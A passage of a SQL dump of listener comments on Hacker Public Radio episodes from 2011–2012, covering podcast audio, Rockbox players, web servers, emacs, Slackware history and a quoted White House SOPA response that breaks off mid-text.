(310,800,'2011-08-28 01:18:23','AG','','My apologies for the poor audio. Road noise caused by old vehicle and very sensitive bluetooth headset ;-)  Nonetheless, I enjoyed the opportunity and welcome any feedback.','2017-09-09 07:41:22'),
(311,800,'2011-08-29 05:37:24','Ken Fallon','Podcasting is a learning experience','Hi AG,\r\n\r\nDon\'t worry about it, we were able to hear your content. You already know why there was so much road noise, so now all you need to do is figure out how to improve it. I suggest going back and listening to D.S. Yates Lotta Linux Links podcasts to hear how he got around it.\r\n\r\nKen.','2017-09-09 07:41:22'),
(312,808,'2011-09-07 13:39:30','Broam','Error in interview notes','The LUG mentioned is incorrectly listed in the transcription notes. It should be \"UCLUG\" - the  Upstate Carolina Linux user group.\r\n\r\nTheir website is www.uclug.org.','2017-09-09 07:41:22'),
(313,810,'2011-09-09 19:01:30','Quvmoh','Arch show','Will be great to hear an Arch install show, Thanks!','2017-09-09 07:41:22'),
(314,812,'2011-09-26 13:21:05','Klaatu','Angry','They\'re all patent trolls.\r\n\r\nIf corporate america justifies itself by saying that competition breeds excellence, then patents quell that.\r\n\r\nIf you just think that technology should keep advancing and getting better, then patents hinder that as well.\r\n\r\nThe only thing patents seem to be good for is to ensure that someone makes a lot of dough off something that probably wasn\'t even invented or developed in a vacuum.\r\n\r\nGreat show, Mr. Gadgets.  I sometimes wish you had a video cast, where you dressed up in wacky pseudo-scientist outfits and did fun experiments that we could all try at home.  But until you get that television deal, I\'ll settle for your very fine HPR audio shows.','2017-09-09 07:41:22'),
(315,816,'2011-09-26 12:38:50','Klaatu','great information thanks','Great episode!  Recipes sound delicious, although not having a kitchen I probably won\'t be trying them anytime soon.\r\n\r\nBut yeah budget living, or living minimally, is great.  It\'s amazing how few bills you can have it you just simplify...and the fewer bills, the less work you have to do, which in the end leaves more time for haxooring.','2017-09-09 07:41:22'),
(316,816,'2011-09-28 08:49:06','neddludd','Practical','Thanks Tracy for the useful information, I appreciated the re thinking of the survivalism term to include a whole lot more than stockpiling guns and ammo for the \"coming armageddon\"\r\n\r\nregards','2017-09-09 07:41:22'),
(317,818,'2011-09-26 12:26:15','klaatu','Agreed','I agree, the sansa devices make great little recording devices.  I don\'t have a Clip, but I do have the fuze, and I used it at OLF to do interviews.  The storage capicity, as long as you plan ahead and leave space for the recording, is great, the battery lasted the entire day and for days thereafter, and the mic and sound quality was fine.  As much as I love my tablet (nokia n800), nothing but the storage is really anywhere near the quality that the fuze provided me.\r\n\r\nOn the other hand, the Fuze as a media player (even with Rockbox) leaves a little to be desired...','2017-09-09 07:41:22'),
(318,818,'2011-09-30 05:18:06','sgtron','','I bought a clip+ based on this podcast that I picked up on ebay for about $35 for a refurbished 8GB model, but unfortunately I didn\'t like rockbox on it.  I found the rockbox navigation to be a bit flakey and the fm radio popped unless you exited the play screen.  I do find the stock firmware fine for recording even though you can\'t monitor the sidetone.','2017-09-09 07:41:22'),
(319,818,'2011-10-02 18:03:49','Fragilematter','Workarounds','Hey guys/Pokey! Sorry for joining the party so late, but I\'ve been behind on my podcasts lately.\r\nI\'ll get down to the subject, and that can be resumed in one acronim: R(F)TM. Rockbox is a complex piece of software and a lot of its functionality isn\'t obvious.\r\nFor instance, to lock the keys on the clip you need to press both the middle button (select) and home at the same time, while you are playing a song (rockbox devs name that the WPS - while playing screen). Also, if you are somewhere in the menus and you want to return to the wps you use the same key combo - home + select.\r\nAlso, at least on my Sansa e200, you can have it charge from a computer without accessing the disk by holding select while you plug in the usb cable. I don\'t know if it\'s the same for the Clip Plus.\r\nAs a closing note, if I recall correctly, the Clip Plus is still under development, especially the usb side of things, so you can expect improvements with each new release (unless you\'re using the current build, like I do).\r\n\r\nHere\'s hoping you have a nice day,\r\nFragilematter','2017-09-09 07:41:22'),
(320,818,'2011-10-03 05:52:49','sgtron','Thanks','Fragilematter, thanks for the reply and I\'ll try the current release to see what I think of that too.. I see the rockbox stable builds are released quarterly and the current one was just last month, so months to go before next release.  ','2017-09-09 07:41:22'),
(321,818,'2011-10-10 16:13:26','lostnbronx','Your Idea Works','Pokey, a few years ago, I glued two paint-stirrers together to make a handle; cut the handle to size, sanded it down, and painted it.  Then I put Velcro on one end and Velcro on the acrylic case that I have my Fuze in, and stuck it on.  I hold the earbud cable to the handle with an elastic.  The Fuze has has never fallen off by accident. \r\n\r\nThis is perfect for recording, and even general use, and the Velcro/handle combo helps to cut down on handling noise.  The only change I\'d make now is that I should have stained the handle instead of painting it, as the paint began to wear badly almost immediately.','2017-09-09 07:41:22'),
(322,818,'2011-10-26 15:13:39','pokey','Thanks for the feedback guys','Those are all great suggestions. I may need to use the velcro one, as i broke the clip off of my clip. \r\n\r\nThe lock screen function is a new one to me. I\'ll have to try it.\r\n\r\nYes you can charge the Clip without it booting into the stock firmware if it\'s powered on in Rockbox. That\'s how I charge it.','2017-09-09 07:41:22'),
(323,820,'2011-09-24 03:50:08','DeepGeek','A Big-Name server you may not have considered','Hi, Klaatu,\r\nLoved the podcast. Your idea of urging listeners to try different servers was great, but your choices of nginx, apache, and lighttpd seemed to indicate an interest in \"big name\" webservers.\r\nI thought you might want to consider something else \"big name.\" Did you know that the webserver that powers AOL, aolserver4, is an open-source project? Check out aolserver.com. They boast not of some obscure benchmark, but rather of extreme scalability and a huge number of languages embedded and multiple API\'s, and multiple database platform support.\r\nI haven\'t tired it myself, but I thought you\'d like to know...\r\n---\r\nDeepGeek','2017-09-09 07:41:22'),
(324,820,'2011-09-26 02:43:53','klaatu','aolserver','well let\'s wait for AOL to prove themselves before we go jumping to adopt their server.  I\'ve personally not heard of them but I\'ll keep an eye out.','2017-09-09 07:41:22'),
(325,820,'2011-10-04 12:34:23','klaatu','ADDENDUM','It was brought to my attention that I say something like \"it\'s better to have your server doing things like DHCP than to let your router handle it\"\r\n\r\nWhat I meant to say was...\r\n\"it\'s better FOR ME to have my server to DHCP and stuff than to let some little under-powered router do it\" -- but of course your network will be different from mine, with different needs and different loads and all that...so for you, it might make sense for you to just let your router handle DHCP.\r\n\r\nIf you have questions of course you can always email me and I\'ll answer whatever I can.  klaatu-at-goListenToGnuWorldOrderOggcastForMyEmailAddress.com','2017-09-09 07:41:22'),
(326,820,'2011-10-05 21:14:50','Philip Durbin','sites-enabled, sites-available','Being a Red Hat guy, I hadn\'t heard of Debian\'s sites-enabled, sites-available convention, but I found some more about it here: https://www.control-escape.com/web/configuring-apache2-debian.html\r\n\r\nOn Red Hat systems, you could keep your VirtualHost config in /etc/httpd/conf.d/com_mysite_www.conf and disable it by changing the name to /etc/httpd/conf.d/com_mysite_www.conf.disabled.  *.conf files in /etc/httpd/conf.d are included by default, as described here: https://www.cyberciti.biz/faq/howto-disable-apache-modules-under-linux-unix/','2022-02-14 13:15:35'),
(327,820,'2011-10-06 13:07:52','klaatu','nice tip','Thanks for the tip.  It has just so happened that I haven\'t really run that many web servers on RHEL or Fedora.  I\'d like to do more but as long as I keep inheriting powerPC boxen I imagine it will continue to be Debian-based servers (thank you Debian!)\r\n\r\nBut I like this tip, so thanks.\r\n\r\nBTW if anyone is messing around with Drupal on a Fedora server, there\'s a nifty rpm, i think called drupal7, which centralizes the core drupal stuff into /usr/shared/ and allows you to symlink stuff in /var/www to point to the drupal sites.  Really fun stuff.\r\n\r\n\r\n','2017-09-09 07:41:22'),
(328,821,'2011-09-26 21:16:28','TheL0grus','','This has to be one of the worst reviews I have ever heard. I am typing this on my Acre a500 tablet. I spent a lot of time researching the tablet I wanted before I purchased one which the reviewer clearly didn\'t do. My first choice is this one ','2017-09-09 07:41:22'),
(329,821,'2011-09-28 16:46:37','Brad','Amazon Kindle Fire','I\'m excited to say that Amazon has their \'Android\' Kindle Fire tablet available for pre-order. I found out about it while listening to your tablet rant, and thought it would make a good update. \r\n\r\nThanks for all the content Mr. Gadget, keep up the good work!','2017-09-09 07:41:22'),
(330,821,'2011-09-29 02:09:27','John','I agree... ','This is a copy of a post I made a while back about Android stuff...\r\nJohn Zimm  -  Aug 22, 2011  -  Limited\r\n\"This is my response to Bryan on LAS and his ideas on HP and Linux ect.. I am a newbie to Linux. I have completely switched over to it. So, here I am enjoying my old HP desktop with Pentium 4. Then I learn about the bearded dude, and I loved what he is saying about GNU. So I started to feel like this whole Linux thing isn&rsquo;t fake and is not lying to me. That is important. For example, I got made when I heard new ideas were formulated and High schools did not teach me these new things because they were not what we had been taught in the past&hellip; no flexibility, no courage and no respect for us to change the school books to reflect how history really looked or what led up to it. Or how we are animals ect. ect. You get the picture. So, now, after watching LAS and listening to other shows, I am interested in paying the data plan (for the first time) and getting a smart phone. So, I was really confused when I heard everyone talk about Android this and Android that. I don&rsquo;t give a shit about a cheap knock-off of Linux, or something that runs Linux in the background, or how ever you say it. I wanted to stick with what I just learned&hellip; LINUX. Everyone was talking about how flexible and scalable Linux is, but I can&rsquo;t have it on my phone? So, I moved on. I started to get interested in tablets&hellip; HOLLY SHIT, THOSE RUN THAT STUPID ANDROID, FAKE LINUX TOO. Remember, I am a newbie, so I don&rsquo;t have a sense of where things in Linux came from or started, or how great Android is. Sorry if I don&rsquo;t appreciate Android. But let\'s get real, The big company Google, didn\'t fit into my new found ideals. But, I want my Mint 11 on a tablet. Is that to much to ask for. I hate that I am not smart. I am just a geek-wanna-be. I hate that I can&rsquo;t pick one device at a time, (phone or tablet) and make Mint 11 run on it, then upload an iso for everyone to use. So, when I heard Bryan say that about how we should not be relying on other OSs that can be pulled after 46 days&hellip; I am totally , totally totally, on board. I do have other skills, and maybe I can help in some way. Let&rsquo;s get this BITCH rolling. When I used to daydream about this, I came up with naming the device that I was going to invent&hellip; wait for it&hellip; &ldquo;L&rdquo;. And after watching the LAS show, I came up with calling the distro, &ldquo;GLD&rdquo;, for GNU Linux Debian. PS,as I am about to hit share, I see a post below my,that says, \"Touchdroid, Android for HP Touchpad Project Started\". Why not Linux, for HP Touchpad project??????????????????????????\"','2017-09-09 07:41:22'),
(331,821,'2011-09-30 14:32:09','Sawyer','tablets are utilitarian toys','i get were you are coming from mr. g.  IMHO: Tablets are just the new gadget with which to lure the money out of your wallet. I was fortunate in getting a $99 dollar hp touchpad. (I\'m a geek, i want a new gadget). It\'s a fun toy. WebOS is quiet good imo. The homebrew community has compiled new kernels, cli etc. I\'ve got it overclocked. Good stuff. Still they are just shiny toys. Even when i can install a proper linux distro, it will still be just a convienient coffee table device for quickly surfing to get tv listings or watching youtube vids. Oh lest i forget it is a great ereader, though a bit heavy. I\'m glad i have one, but i have better things to drop $500 on. One other thing. All these type devices are driven by the apps that consumers will buy. No apps no gadget goodness. Remember BeOS or OS2? Had them both at one time. Both stable and much better than Win3/95, but as a user there just wasnt much stuff beyond the os itself to do.\r\nI would like someone to make an argument that these tablets are more than consumer trinkets mostly (latest status/ego boost hotness), i\'d listen but i don\'t think it\'s going to happen.','2017-09-09 07:41:22'),
(332,829,'2011-10-06 17:29:42','marcoz','fantastic','That was really enjoyable to listen to.  Science-y, a bit technical.\r\n\r\nI liked this one a lot. I\'ve now added jodcast.org to my collection.\r\n\r\n\r\n','2017-09-09 07:41:22'),
(333,829,'2011-10-08 23:32:48','klaatu','fantastic +1','Yeah, this one was really cool. Way over my head (so to speak) but really interesting.  Plus that robot voice at the beginning is REALLY cool.','2017-09-09 07:41:22'),
(334,830,'2011-10-11 22:44:54','Alison Chaiken','Excellent show','Enjoyed the Jamie Sharp interview, too.    I posted the links on Google Buzz and emailed to interested folks.    It\'s only through the hard work of folks like Hutterer and the Canonical contributors (despite their problematic cooperation) that we have device support for the latest hardware in Linux.    Thanks, marcoz, for this good news!','2017-09-09 07:41:22'),
(335,830,'2011-10-13 00:16:57','marcoz','thanks','for the kind words and I completely agree that it\'s only because people have rolled up their sleeves and gotten dirty that we are this far.\r\n\r\nIf you ever get a chance to attend XDS or XDC I highly recommend it. Lots of really smart people.','2017-09-09 07:41:22'),
(336,837,'2011-10-18 20:24:37','san','','\"Debford\" = Deptford, thx.','2017-09-09 07:41:22'),
(337,837,'2011-10-19 07:17:59','Ken Fallon','Corrected','Thanks - missed that one :)','2017-09-09 07:41:22'),
(338,838,'2011-10-19 21:02:43','Martin Peres','More links about what we talked about','Hey,\r\n\r\nJust wanted to give you some pointers to the things I talked about:\r\n\r\n- Arduide: https://mupuf.org/project/arduide/\r\n- Arduino music-player frontend: https://mupuf.org/blog/article/51/\r\n\r\nEditor\'s Note:\r\n--------------\r\nDue to site reorganisation the above links have changed to\r\n- https://mupuf.org/project/arduide.html\r\n- https://mupuf.org/blog/2011/06/14/an_arduino-based_frontend_to_my_audio-player_cmus/\r\n','2022-02-14 13:15:36'),
(339,845,'2011-10-28 14:05:08','klaatu','very informative!','very informative episode.  all this fancy streaming stuff is still a mystery to me, something i\'ve really been meaning to mess around with.  thanks for the very cool info, ideas, and leads on what i should be looking into!','2017-09-09 07:41:22'),
(340,848,'2011-11-03 01:51:57','john','','I\'ve never heard Alan\'s voice before. He sounds remarkably like Eric Idle.','2017-09-09 07:41:22'),
(341,850,'2011-11-09 03:35:08','klaatu','interesting and new informmations','nice work, inspector!  this is mostly all new to me, i enjoyed hearing about these pioneers.  thanks and keep \'casting.','2017-09-09 07:41:22'),
(342,851,'2011-11-09 03:30:52','klaatu','welcome aboard!','welcome aboard seetee.  where\'s all the other new hosts? and repeat offenders?!  HPR is hungry.','2017-09-09 07:41:22'),
(343,852,'2011-11-09 03:33:07','klaatu','i approve','of emacs','2017-09-09 07:41:22'),
(344,853,'2011-11-17 14:47:07','Miguel','','Worst interview ever?','2017-09-09 07:41:22'),
(345,853,'2011-11-19 01:35:00','gg','','I personally really enjoyed the inteview. I knew Pat was a guy with a\r\nvariety of interests, but had no idea a Linux guru would also be so\r\ninto new age spirituality e.g. McKenna, incense, etc.','2017-09-09 07:41:22'),
(346,853,'2011-11-19 14:43:43','Hugh','Me','Everything Pat says is good as far as all good Slackers are concerned... Praise Bob.   LOL','2017-09-09 07:41:22'),
(347,853,'2011-11-21 06:09:49','Ken Fallon','Any topic that is of interest to Hackers','Cross posting :)\r\n\r\nIt\'s not often that I comment on HPR episodes - other than to beg for you to send them in -but I want to make an exception for today\'s show. Episode 0853 :: Pat Volkerding of Slackware Linux chats with Klaatu\r\n\r\nI\'m not making this exception because it was \"better\", I would find it impossible to make such a call. The HPR community produces a massive amount of content and I have listened to every single one at least once. There has not been a single HPR show that I have not enjoyed and learned from.\r\n\r\nNor is it that it was submitted by Klaatu as given that he has submitted 12 1/2% of all shows, I would have written this long before now. Sure today\'s \'topic\' was special - a interview with Patrick Volkerding the man behind SlackWare, the longest continually developed Linux distribution - but we\'ve had other interviews with people of note before.\r\n\r\nThe reason for this deviation is simply because it embodies the qualities that I feel define Hacker Public Radio.\r\n\r\nIt\'s about taking a topic and exploring it, looking at all sides, exposing otherwise hidden and unknown facts, it\'s about events, it\'s about community, it\'s about people, it\'s about technology, it\'s about music, it\'s about history, it\'a about life, it\'s about questioning - everything - our very existence - space time - ancient cultures. In short it\'s about \"Any topic that is of interest to Hackers\"\r\n\r\nIf you have never listened to a HPR then this is surely the best sample of what you are likely to find. Sure it arrived just in time to fill an otherwise empty slot, the audio isn\'t perfect, it might not follow a script, random people wander in and out, there may be tangents from the topic at hand but if you can open your ears to listen you\'ll hear the passion of the community, our community. Then maybe, just maybe, you too will be inspired to share your unique point of view with us.\r\n\r\nhttps://hackerpublicradio.org/contribute.php','2022-02-14 13:15:36'),
(348,853,'2011-12-14 09:33:55','lee','confused - www.cdrom.com?','Hello\r\n\r\nI am a long time linux user who started with Red Hat 5.1 and has worked consistently with Red Hat and Debian-based distros ever since. I have never really given Slackware much thought.\r\n\r\nI noticed in the photo above that the URL for slackware is given as https://www.cdrom.com. When entered in my browser, I get a site offering windows applications for download. \r\n\r\nJust thought I should warn people that the correct URL for slackware is slackware.com .\r\n\r\nIs this an old photo perhaps? \r\n','2022-02-14 13:15:36'),
(349,853,'2012-04-01 16:50:13','Jason','Note','Just a note that the picture is from 2000. Also, freaking hilarious interview. After 5 minutes of back story about the incense he\'s about to light: \"Oh wait this may be the wrong stick\". LOL','2017-09-09 07:41:22'),
(350,853,'2012-04-02 04:53:06','Ken Fallon','The photo is from wikipedia','So if you have a newer one you know where to send it (also to us :) )','2017-09-09 07:41:22'),
(351,853,'2013-01-13 21:03:14','Dustin Reeves','Fascinating!','really enjoyed this podcast, been following slackware since about 9.1 (2004~), while i dont actively use the distribution, ive always enjoyed reading patricks thoughts on software release cycles, and being as stable as possible.  when this podcast strayed from the technical, it took us in a great new unexpected direction (who thought patrick was into mckenna?).  really enjoyed, would love to hear more podcasts in the same vein.\r\n\r\nthanks\r\n\r\n-DR','2017-09-09 07:41:22'),
(352,856,'2011-11-15 07:03:15','gatton','excellent','I admit to being quite ignorant of emacs having always preferred the speed and simplicity of vim. But these emacs intro podcasts are making me take a second look. Thanks and I\'m really looking forward to the final installment.','2017-09-09 07:41:22'),
(353,861,'2011-11-21 17:38:12','Scott Cann','Emacs','The rule of \"emacs dinners\" is you don\'t talk about \"emacs dinners\".\r\nGreat series Klaatu, I\'ve been using emacs for a few years and I still learned some stuff.\r\nThanks','2017-09-09 07:41:22'),
(354,861,'2011-11-22 12:43:09','Klaatu','Moar Emacs','Hey, thanks Scott!  Had to go back a listen to the episode to get your dinner joke :-P\r\n\r\nEmacs is pretty great and there seems to be no end to what it can do.  I\'ve been doing a lot of org-mode usage lately, and have been messing around with abbreviation-completion lately.  Heck, SO many potential features.  There probably could be an emacs-cast out there, although admittedly it would be a bit dry.\r\n\r\nHappy hacking. and all that.','2017-09-09 07:41:22'),
(355,862,'2011-11-22 11:52:45','Daniel Beecham','AWESOME!','Alright! Breaking down protocols series, I hope there are lots and lots of episodes of this, I like the idea.','2017-09-09 07:41:22'),
(356,862,'2011-11-23 12:09:19','Kevin Granade','Thanks, I\'ll do my best.','Glad to hear it.  I\'ll see what I can do, though to tell you the truth, I\'ve never recorded audio before, and this took a lot more time than I had anticipated.  I want to do more, but I have some programming to catch up on now.','2017-09-09 07:41:22'),
(357,862,'2011-12-06 22:12:08','Dave Potts','Great Show','I really liked the show.  Thanks for taking the time to put it together.','2017-09-09 07:41:22'),
(358,862,'2011-12-18 23:26:54','rowinggolfer','superb episode','Very, very nice episode. More like this please kevin!\r\nInspired by steve gibson, but outperforming him in terms of content on this occasion.\r\n','2017-09-09 07:41:22'),
(359,865,'2011-11-30 03:46:41','dish','Cmdr Taco!!','I totally did not know it was Cmdr Taco\'s idea! What a great episode! thanks!','2017-09-09 07:41:22'),
(360,865,'2011-12-10 21:41:33','JonathanRRogers','Confusion about ZIP vs. ARC','While the events related to transparency match what I remember, I think Deltaray confused the ZIP and ARC file formats. What I\'ve been able to find indicates that Phil Katz created the ZIP format specifically to be different from the ARC format after he lost a lawsuit brought by SEA. If all the Wikipedia articles and sources they cite are wrong about this, there must be a deep conspiracy indeed.','2017-09-09 07:41:22'),
(361,865,'2012-01-30 15:19:12','Deltaray','Phil Katz was a code thief','@JonathanRRogers: I was kinda generalizing that Phil Katz is a code thief.  While ZIP may be a different format and algorithm, he got into the whole thing by dishonorable means and I don\'t think he should be given as much credit as he does and more credit should go to Thom, whose efforts where effectively derailed by Phil.  The point is, there is a lot more to the story than what is mentioned on Wikipedia. My source material is episode 8 of the BBS: The documentary, by Jason Scott:\r\n\r\nhttps://www.archive.org/details/BBS.The.Documentary','2022-02-14 13:15:37'),
(362,866,'2011-11-28 22:35:49','marcoz','nice','Nice, Klaatu.\r\n\r\nMost of my contributions now are documentation related so I found this most interesting to listen to.  I stumbled on Publican not too long ago (less than a year I\'m pretty sure. I honestly don\'t remember) and I really like the output.  I think it\'s definitely a good thing for OSS and am glad you had an episode on it.  docs.fedora.com (and rh) are on my short list of nice looking documentation sites\r\n\r\nKeep up the good work!','2017-09-09 07:41:22'),
(363,866,'2011-11-30 03:43:42','klaatu','cool thank you goodbye','Marcoz, \r\n\r\nGlad you liked the ep, glad you like Publican.  I enjoy using it, myself....UNTIL i have to get in there and do a whole bunch of xslt custom params... then I fall back on raw docbook and xsltproc.  But man, when I don\'t need that? publican is just so darned easy.\r\n\r\nIf you liked my HPR ep on Publican, then you\'ll LOVE my Gnu World Order ep on epub!  (yes, that was an advert)  https://thebadapples.info/audiophile.gnuWorldOrder_7x04.ogg\r\n\r\nAds aside, thanks for the comment and stuff! ','2022-02-14 13:15:37'),
(364,866,'2011-11-30 11:43:08','doubi','Widening the audience','Great podcast (as usual, Klaatu). Within the first few minutes I got excited about pimping this to my non-techie writer friends on Twitter. For that reason it would have been good to skip over \'scary\' things emacs &amp; vim &amp; just concentrate on how it can help writers used to other tools, but hey, I can always remix &amp; put out a cut-down version if I cared that much.\r\nMany thanks for helping spread the good word!','2017-09-09 07:41:22'),
(365,867,'2011-11-30 03:47:40','klaatu','Kids these days','You can\'t tell \'em anything, what with their facebooks and twitters and such.','2017-09-09 07:41:22'),
(366,867,'2011-12-02 08:17:25','Ken Fallon','Admin Fail !!','Hi Mr. Gadgets,\r\n\r\nApologies for not adding the shownotes on time. I promise to do better if you don\'t tell Santa.\r\n\r\nKen','2017-09-09 07:41:22'),
(367,869,'2011-12-03 20:20:37','DeadDog','','That was excellent.','2017-09-09 07:41:22'),
(368,869,'2011-12-06 01:18:10','kenbo','This was cool','Awesome change of pace! You should do more of this.','2017-09-09 07:41:22'),
(369,870,'2011-12-04 13:31:34','e8hffff','Memories','Thanks. Brought back similar memories in Australia.\r\n\r\nI kind of started off with Video consoles, but first computers were TRS-80, Apple2 (at school and cousin owned Redstone clone), Sinclair Spectrum 48k, Atari 512/1040,IBM XT,Apple LCII... +various computers used at workplaces.','2017-09-09 07:41:22'),
(370,870,'2012-01-08 20:35:00','FiftyOneFifty','','Haven\'t listened yet, will make a point of it today.  The pic of the TRS-80 Model 3 brings back memories, I have one just like on my desk under a bunch of papers and 3 more (plus a printer) stored.  I really need to make time to get back to my classic comps and emulators.','2017-09-09 07:41:22'),
(371,873,'2011-12-08 21:10:48','new-clinux','','I\'m by no means a zealot about these things -- far from it! -- but the fact that this is .mp3 only seems laughably beyond the pale :)\r\n\r\ncheers, keep the faith.','2017-09-09 07:41:22'),
(372,873,'2011-12-09 05:50:23','Ken Fallon','We\'re also in Ogg and Spx','Hi new-clinux,\r\n\r\nFree software versions of the mp3 encoder and decoder have been available for years so there is no software freedom issue with the format. Many of our listeners come from parts of the world where software patents are not recognised, for the rest there are ogg and spx feeds https://hackerpublicradio.org/syndication.php \r\n\r\nKen.','2022-02-14 13:15:37'),
(373,877,'2011-12-13 09:42:17','Abe','Cheers. ','I found this very interesting. ','2017-09-09 07:41:22'),
(374,877,'2011-12-13 17:44:48','Ken Fallon','Ditto','My first experience with Linux was the same. Installed now what ?\r\n\r\nThat ending was nasty !!! ;-)\r\n\r\nHurry up with part 2.','2017-09-09 07:41:22'),
(375,877,'2011-12-15 15:03:13','pokey','This is what HPR is about','What a great show. You hit this one out of the park. I loved hearing about the stuff that came before \"my time\", but  I loved this episode from start to finish anyway. Thank you sincerely for pitching in, we really need it. \r\n\r\nI had a pretty crappy day yesterday, and you helped to make a crappy day better. Thank you.','2017-09-09 07:41:23'),
(376,877,'2011-12-15 15:53:07','Frank','Once You Slack, You Never Go Back','What am I running now?  Why Slackware, of course (plus a few others along the way).   ','2017-09-09 07:41:23'),
(377,880,'2011-12-30 13:16:46','Morten Juhl-Johansen Z&ouml;lde-Fejer','Introduction to audiobooks','I did an introduction to audiobooks a little while back:\r\nhttps://writtenandread.net/audiobooks-sampler/\r\nIf you would accept a recommendation, I would like to suggest listening to Dead Mech or Number One With A Bullet.\r\nThank you for an interesting discussion.\r\nAll the best,\r\nMorten','2022-02-14 13:15:37'),
(378,882,'2011-12-21 03:30:53','sigflup','hey','Wow, I had no idea that people were packaging yesplz! that\'s awesome!','2017-09-09 07:41:23'),
(379,882,'2011-12-23 13:44:38','klaatu','yes we are','yes people are packaging yesplz :D  \r\n\r\nIt should be noted that there is a NEW version of yesplz since this ep was recorded.  You can get it here --> https://devio.us/~sigflup/yesplz_dec_19_2011.tgz','2017-09-09 07:41:23'),
(380,882,'2011-12-23 16:40:42','klaatu','slackbuilds updated!','for slackers, new slackbuilds for concr (the encryption library) and yesplz have been submitted.  until they hit the sb.o servers, you can get \'em here..\r\nhttps://gnuworldorder.info/slackware/concr.tar.gz\r\n\r\nand\r\n\r\nhttps://gnuworldorder.info/slackware/yesplz.tar.gz','2022-02-14 13:15:38'),
(381,887,'2011-12-27 12:02:50','chattr','mp3 file is 404 not found','Got the notice of ep0887 when I just polled the feed, but trying to download the file ( https://hackerpublicradio.org/eps/hpr0887.mp3 )   returns 404 not found.','2022-02-14 13:15:38'),
(382,887,'2011-12-28 08:00:39','Ken Fallon','Forgot to post the mp3','Hi Chattr,\r\n\r\nI forgot to post the audio files. 100% my fault. Sorry about that - it should be updated now.\r\n\r\nKen.','2017-09-09 07:41:23'),
(383,887,'2011-12-28 14:22:31','Deltaray','Yggdrasil','Good show and quality.\r\n\r\nJust so you know, Yggdrasil was pretty significant as it was the first Linux distro with a CD-ROM based installation. There is actually a sizable Wikipedia article on it:\r\n\r\nhttps://en.wikipedia.org/wiki/Yggdrasil_Linux/GNU/X','2022-02-14 13:15:38'),
(384,887,'2011-12-28 23:01:42','NYbill','Re: Yggdrasil','Yes, that\'s the one.  Had anyone in the room still had a 3 1/2 drive we could have popped it in and see if it still worked. ','2017-09-09 07:41:23'),
(385,891,'2012-01-05 13:16:36','janitor','Emacs-org-mode','Thanks for the show\r\nI think emacs and org-mode is  just what I\'ve been looking for I will let you know!','2017-09-09 07:41:23'),
(386,892,'2012-01-04 16:44:17','Robert Wooden','org-mode use','I have begun listening to the HPR podcasts while at work.\r\n\r\nI\'ve been using Linux for ten years or so and as a result of everyones podcasts I am considering making a recording and sending it in. More on that later.\r\n\r\nThis message is to comment on this podcast. As usual, I found all the podcast very interesting. Of great interest was the conversation regarding org-mode and it\'s use by someone doing AutoCAD work and the manner in which he kept notes and tables relating to his daily job. This caught my attention because I use (not right now, anyway) to work in a related design field. Everyday I used an expensive proprietary cad design program designing kitchen and bathrooms, very similar to AutoCAD. So it was very easy for me to relate to his work use descriptions.\r\n\r\nThanks for another GREAT podcast.','2017-09-09 07:41:23'),
(387,892,'2012-01-19 13:48:09','pokey','Thanks for listening.','Robert, thanks for listening. I\'m glad that people are enjoying listening to our big recording, and it was great that these guys brought such great and helpful content. It\'s great fun for me knowing that other people are listening to, and enjoying what we did.','2017-09-09 07:41:23'),
(388,894,'2012-01-05 20:04:46','Becky Newborough','','Both Philip and I enjoyed ourselves immensely - thank you for inviting us along. ','2017-09-09 07:41:23'),
(389,894,'2012-01-08 15:58:32','DeepGeek','My own counter-show','Just wanted to add that episode #169 on steganography was my own counter show to episode #69. After being rebuked for my participation in the infamous #69, I thought it fitting to \"make things up\" by telling how to keep such things under wraps.\r\n---\r\nDeepGeek','2017-09-09 07:41:23'),
(390,894,'2012-01-19 13:53:48','pokey','The pleasure was all mine','Becky, It was a real pleasure having both you and Philip on. You are lovely people, and I\'m very glad to have met you. Either of you are forever welcome on any show that I record. You really brought a lot to the conversation, and everyone loved talking with you both. Thank you for coming on, and helping us out.','2017-09-09 07:41:23'),
(391,897,'2012-01-11 20:45:36','Deltaray','Better recording of PipemanMusic\'s cover','I was recording as well and got a better recording of PipemanMusic\'s cover of Before You Accuse Me. Enjoy:\r\n\r\nhttps://www.climagic.org/music/pipemanmusic-beforeyouaccuseme.mp3','2022-02-14 13:15:39'),
(392,899,'2012-01-12 15:31:54','Deltaray','Port 25 blocking','Its not the mail servers that are blocking port 25, its your ISP. Many large ISPs are blocking outbound port 25 connections from your home connection that aren\'t to your ISP\'s mail server.  You can try connecting to a mail server on its SSL port (465) which usually requires authentication, if it allows it or the mail submission port (587), which is more recent thing.\r\n\r\nThey do this because so many people are infected with viruses and where being used as gateways to send spam. So they were trying to reduce the spam in everybody\'s inbox.','2017-09-09 07:41:23'),
(393,899,'2012-01-13 04:32:12','chattr','wow, who\'s the guy with the laugh blowing my ears out?','content is very good, ty.  first time I listened to this podcast (Sunday Morning Linux Review), so I don\'t know if other times the volume is similar to this one, but the guy with the laugh (Tony?) blows out my ears.  too close to the mic?  \r\n\r\nlooking forward to further episodes, if the volume gets dialed down a bit.','2017-09-09 07:41:23'),
(394,900,'2012-01-19 18:49:20','Emil Dahlqvist','','Hey, very nice podcast to listen too! I my self is very excited to hear about the advices and thoughts you have on servers at home :)','2017-09-09 07:41:23'),
(395,903,'2012-01-17 23:30:52','new age techno hippie','Response to white house.goc pettition','This is the can response sent out but, I will put out an wpisode post back here if there is an open oline forum on the subject.\r\n\r\nCombating Online Piracy while Protecting an Open and Innovative Internet   \r\nBy Victoria Espinel, Aneesh Chopra, and Howard Schmidt\r\n\r\nThanks for taking the time to sign this petition. Both your words and actions illustrate the importance of maintaining an open and democratic Internet.\r\n\r\nRight now, Congress is debating a few pieces of legislation concerning the very real issue of online piracy, including the Stop Online Piracy Act (SOPA), the Protect Intellectual Property Act (PIPA) and the Online Protection and Digital ENforcement Act (OPEN). We want to take this opportunity to tell you what the Administration will support&mdash;and what we will not support. Any effective legislation should reflect a wide range of stakeholders, including everyone from content creators to the engineers that build and maintain the infrastructure of the Internet.\r\n\r\nWhile we believe that online piracy by foreign websites is a serious problem that requires a serious legislative response, we will not support legislation that reduces freedom of expression, increases cybersecurity risk, or undermines the dynamic, innovative global Internet.\r\n\r\nAny effort to combat online piracy must guard against the risk of online censorship of lawful activity and must not inhibit innovation by our dynamic businesses large and small. Across the globe, the openness of the Internet is increasingly central to innovation in business, government, and society and it must be protected. To minimize this risk, new legislation must be narrowly targeted only at sites beyond the reach of current U.S. law, cover activity clearly prohibited under existing U.S. laws, and be effectively tailored, with strong due process and focused on criminal activity. 